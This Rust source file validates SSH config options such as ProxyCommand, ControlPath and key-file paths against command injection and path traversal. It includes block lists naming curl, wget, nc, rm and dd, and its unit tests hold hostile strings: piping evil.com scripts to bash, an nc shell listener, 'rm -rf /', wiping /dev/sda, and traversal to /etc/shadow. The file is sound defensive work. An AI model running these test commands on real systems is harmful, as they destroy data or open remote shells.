use anyhow::{Context, Result};
#[cfg(unix)]
use std::os::unix::fs::PermissionsExt;
use std::path::{Path, PathBuf};
use super::path::expand_path_internal;
pub(super) fn validate_executable_string(
value: &str,
option_name: &str,
line_number: usize,
) -> Result<()> {
const DANGEROUS_CHARS: &[char] = &[
';', '&', '|', '`', '$', '>', '<', '\n', '\r', '\0', ];
if let Some(dangerous_char) = value.chars().find(|c| DANGEROUS_CHARS.contains(c)) {
anyhow::bail!(
"Security violation: {option_name} contains dangerous character '{dangerous_char}' at line {line_number}. \
This could enable command injection attacks."
);
}
if value.contains("$(") || value.contains("${") {
anyhow::bail!(
"Security violation: {option_name} contains command substitution pattern at line {line_number}. \
This could enable command injection attacks."
);
}
let mut quote_count = 0;
let chars: Vec<char> = value.chars().collect();
for (i, &c) in chars.iter().enumerate() {
if c == '"' {
let mut backslash_count = 0;
let mut pos = i;
while pos > 0 {
pos -= 1;
if chars[pos] == '\\' {
backslash_count += 1;
} else {
break;
}
}
if backslash_count % 2 == 0 {
quote_count += 1;
}
}
}
if quote_count % 2 != 0 {
anyhow::bail!(
"Security violation: {option_name} contains unmatched quote at line {line_number}. \
This could enable command injection attacks."
);
}
if option_name == "ControlPath" {
if value.trim_start().starts_with('-') {
anyhow::bail!(
"Security violation: ControlPath starts with '-' at line {line_number}. \
This could be interpreted as a command flag."
);
}
let chars: Vec<char> = value.chars().collect();
let mut i = 0;
while i < chars.len() {
if chars[i] == '%' && i + 1 < chars.len() {
let next_char = chars[i + 1];
match next_char {
'h' | 'p' | 'r' | 'u' | 'L' | 'l' | 'n' | 'd' | '%' => {
i += 2; }
_ => {
anyhow::bail!(
"Security violation: ControlPath contains unknown substitution pattern '%{next_char}' at line {line_number}. \
Only %h, %p, %r, %u, %L, %l, %n, %d, and %% are allowed."
);
}
}
} else {
i += 1;
}
}
}
if option_name == "ProxyCommand" {
if value == "none" {
return Ok(());
}
let trimmed = value.trim();
if trimmed.starts_with("bash ")
|| trimmed.starts_with("sh ")
|| trimmed.starts_with("/bin/")
|| trimmed.starts_with("python ")
|| trimmed.starts_with("perl ")
|| trimmed.starts_with("ruby ")
{
tracing::warn!(
"ProxyCommand at line {} uses potentially risky executable '{}'. \
Ensure this is intentional and from a trusted source.",
line_number,
trimmed.split_whitespace().next().unwrap_or("")
);
}
let lower_value = value.to_lowercase();
if lower_value.contains("curl ")
|| lower_value.contains("wget ")
|| lower_value.contains("nc ")
|| lower_value.contains("netcat ")
|| lower_value.contains("rm ")
|| lower_value.contains("dd ")
|| lower_value.contains("cat /")
{
anyhow::bail!(
"Security violation: ProxyCommand contains suspicious command pattern at line {line_number}. \
Commands like curl, wget, nc, rm, dd are not typical for SSH proxying."
);
}
}
Ok(())
}
pub(super) fn validate_control_path(path: &str, line_number: usize) -> Result<()> {
if path == "none" {
return Ok(());
}
const DANGEROUS_CHARS: &[char] = &[
';', '&', '|', '`', '>', '<', '\n', '\r', '\0', ];
if let Some(dangerous_char) = path.chars().find(|c| DANGEROUS_CHARS.contains(c)) {
anyhow::bail!(
"Security violation: ControlPath contains dangerous character '{dangerous_char}' at line {line_number}. \
This could enable command injection attacks."
);
}
if path.contains("$(") {
anyhow::bail!(
"Security violation: ControlPath contains command substitution pattern at line {line_number}. \
This could enable command injection attacks."
);
}
if path.trim_start().starts_with('-') {
anyhow::bail!(
"Security violation: ControlPath starts with '-' at line {line_number}. \
This could be interpreted as a command flag."
);
}
let chars: Vec<char> = path.chars().collect();
let mut i = 0;
while i < chars.len() {
if chars[i] == '%' && i + 1 < chars.len() {
let next_char = chars[i + 1];
match next_char {
'h' | 'p' | 'r' | 'u' | 'L' | 'l' | 'n' | 'd' | '%' => {
i += 2; }
_ => {
anyhow::bail!(
"Security violation: ControlPath contains unknown substitution pattern '%{next_char}' at line {line_number}. \
Only %h, %p, %r, %u, %L, %l, %n, %d, and %% are allowed."
);
}
}
} else {
i += 1;
}
}
Ok(())
}
pub(super) fn secure_validate_path(
path: &str,
path_type: &str,
line_number: usize,
) -> Result<PathBuf> {
let expanded_path = expand_path_internal(path)
.with_context(|| format!("Failed to expand path '{path}' at line {line_number}"))?;
let path_str = expanded_path.to_string_lossy();
if path_str.contains("../") || path_str.contains("..\\") {
anyhow::bail!(
"Security violation: {path_type} path contains directory traversal sequence '..' at line {line_number}. \
Path traversal attacks are not allowed."
);
}
if path_str.contains('\0') {
anyhow::bail!(
"Security violation: {path_type} path contains null byte at line {line_number}. \
This could be used for path truncation attacks."
);
}
let canonical_path = if expanded_path.exists() {
match expanded_path.canonicalize() {
Ok(canonical) => canonical,
Err(e) => {
tracing::debug!(
"Could not canonicalize {} path '{}' at line {}: {}. Using expanded path as-is.",
path_type, path_str, line_number, e
);
expanded_path.clone()
}
}
} else {
expanded_path.clone()
};
let canonical_str = canonical_path.to_string_lossy();
if canonical_str.contains("..") {
if canonical_str.split('/').any(|component| component == "..")
|| canonical_str.split('\\').any(|component| component == "..")
{
anyhow::bail!(
"Security violation: Canonicalized {path_type} path '{canonical_str}' contains parent directory references at line {line_number}. \
This could indicate a path traversal attempt."
);
}
}
match path_type {
"identity" => {
validate_identity_file_security(&canonical_path, line_number)?;
}
"known_hosts" => {
validate_known_hosts_file_security(&canonical_path, line_number)?;
}
_ => {
validate_general_file_security(&canonical_path, line_number)?;
}
}
Ok(canonical_path)
}
pub(super) fn validate_identity_file_security(path: &Path, line_number: usize) -> Result<()> {
let path_str = path.to_string_lossy();
let sensitive_patterns = [
"/etc/passwd",
"/etc/shadow",
"/etc/group",
"/proc/",
"/sys/",
"/dev/",
"/boot/",
"/usr/bin/",
"/bin/",
"/sbin/",
"\\Windows\\",
"\\System32\\",
"\\Program Files\\",
];
for pattern in &sensitive_patterns {
if path_str.contains(pattern) {
anyhow::bail!(
"Security violation: Identity file path '{path_str}' at line {line_number} points to sensitive system location. \
Access to system files is not allowed for security reasons."
);
}
}
#[cfg(unix)]
if path.exists() && path.is_file() {
if let Ok(metadata) = std::fs::metadata(path) {
let permissions = metadata.permissions();
let mode = permissions.mode();
if mode & 0o004 != 0 {
tracing::warn!(
"Security warning: Identity file '{}' at line {} is world-readable. \
Private SSH keys should not be readable by other users (chmod 600 recommended).",
path_str,
line_number
);
}
if mode & 0o040 != 0 {
tracing::warn!(
"Security warning: Identity file '{}' at line {} is group-readable. \
Private SSH keys should only be readable by the owner (chmod 600 recommended).",
path_str,
line_number
);
}
if mode & 0o002 != 0 {
anyhow::bail!(
"Security violation: Identity file '{path_str}' at line {line_number} is world-writable. \
This is extremely dangerous and must be fixed immediately."
);
}
}
}
Ok(())
}
pub(super) fn validate_known_hosts_file_security(path: &Path, line_number: usize) -> Result<()> {
let path_str = path.to_string_lossy();
let sensitive_patterns = [
"/etc/passwd",
"/etc/shadow",
"/etc/group",
"/proc/",
"/sys/",
"/dev/",
"/boot/",
"/usr/bin/",
"/bin/",
"/sbin/",
"\\Windows\\",
"\\System32\\",
"\\Program Files\\",
];
for pattern in &sensitive_patterns {
if path_str.contains(pattern) {
anyhow::bail!(
"Security violation: Known hosts file path '{path_str}' at line {line_number} points to sensitive system location. \
Access to system files is not allowed for security reasons."
);
}
}
let path_lower = path_str.to_lowercase();
if !path_lower.contains("ssh")
&& !path_lower.contains("known")
&& !path_str.contains("/.")
&& !path_str.starts_with("/etc/ssh/")
&& !path_str.starts_with("/usr/")
&& !path_str.contains("/home/")
&& !path_str.contains("/Users/")
{
tracing::warn!(
"Security warning: Known hosts file '{}' at line {} is in an unusual location. \
Ensure this is intentional and the file is trustworthy.",
path_str,
line_number
);
}
Ok(())
}
pub(super) fn validate_general_file_security(path: &Path, line_number: usize) -> Result<()> {
let path_str = path.to_string_lossy();
let forbidden_patterns = [
"/etc/passwd",
"/etc/shadow",
"/etc/group",
"/etc/sudoers",
"/proc/",
"/sys/",
"/dev/random",
"/dev/urandom",
"/boot/",
"/usr/bin/",
"/bin/",
"/sbin/",
"\\Windows\\System32\\",
"\\Windows\\SysWOW64\\",
];
for pattern in &forbidden_patterns {
if path_str.contains(pattern) {
anyhow::bail!(
"Security violation: File path '{path_str}' at line {line_number} points to forbidden system location. \
Access to this location is not allowed for security reasons."
);
}
}
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_validate_executable_string_legitimate() {
let legitimate_commands = vec![
"ssh -W %h:%p gateway.example.com",
"connect -S proxy.example.com:1080 %h %p",
"none",
"socat - PROXY:proxy.example.com:%h:%p,proxyport=8080",
];
for cmd in legitimate_commands {
let result = validate_executable_string(cmd, "ProxyCommand", 1);
assert!(result.is_ok(), "Legitimate command should pass: {cmd}");
}
}
#[test]
fn test_validate_executable_string_malicious() {
let malicious_commands = vec![
"ssh -W %h:%p gateway.example.com; rm -rf /",
"ssh -W %h:%p gateway.example.com | bash",
"ssh -W %h:%p gateway.example.com & curl evil.com",
"ssh -W %h:%p `whoami`",
"ssh -W %h:%p $(whoami)",
"curl http://evil.com/malware.sh | bash",
"wget -O - http://evil.com/script | sh",
"nc -l 4444 -e /bin/sh",
"rm -rf /important/files",
"dd if=/dev/zero of=/dev/sda",
];
for cmd in malicious_commands {
let result = validate_executable_string(cmd, "ProxyCommand", 1);
assert!(
result.is_err(),
"Malicious command should be blocked: {cmd}"
);
let error = result.unwrap_err().to_string();
assert!(
error.contains("Security violation"),
"Error should mention security violation for: {cmd}. Got: {error}"
);
}
}
#[test]
fn test_validate_control_path_legitimate() {
let legitimate_paths = vec![
"/tmp/ssh-control-%h-%p-%r",
"~/.ssh/control-%h-%p-%r",
"/var/run/ssh-%u-%h-%p",
"none",
];
for path in legitimate_paths {
let result = validate_control_path(path, 1);
assert!(result.is_ok(), "Legitimate ControlPath should pass: {path}");
}
}
#[test]
fn test_validate_control_path_malicious() {
let malicious_paths = vec![
"/tmp/ssh-control; rm -rf /",
"/tmp/ssh-control | bash",
"/tmp/ssh-control & curl evil.com",
"/tmp/ssh-control`whoami`",
"/tmp/ssh-control$(whoami)",
"-evil-flag",
];
for path in malicious_paths {
let result = validate_control_path(path, 1);
assert!(
result.is_err(),
"Malicious ControlPath should be blocked: {path}"
);
}
}
#[test]
fn test_secure_validate_path_traversal() {
let traversal_paths = vec![
"../../../etc/passwd",
"/home/user/../../../etc/shadow",
"~/../../../etc/hosts",
];
for path in traversal_paths {
let result = secure_validate_path(path, "identity", 1);
assert!(result.is_err(), "Path traversal should be blocked: {path}");
let error = result.unwrap_err().to_string();
assert!(
error.contains("traversal") || error.contains("Security violation"),
"Error should mention traversal for: {path}. Got: {error}"
);
}
}
#[test]
fn test_validate_identity_file_security() {
use std::path::Path;
let sensitive_paths = vec![
Path::new("/etc/passwd"),
Path::new("/etc/shadow"),
Path::new("/proc/version"),
Path::new("/dev/null"),
];
for path in sensitive_paths {
let result = validate_identity_file_security(path, 1);
assert!(
result.is_err(),
"Sensitive path should be blocked: {}",
path.display()
);
}
}
}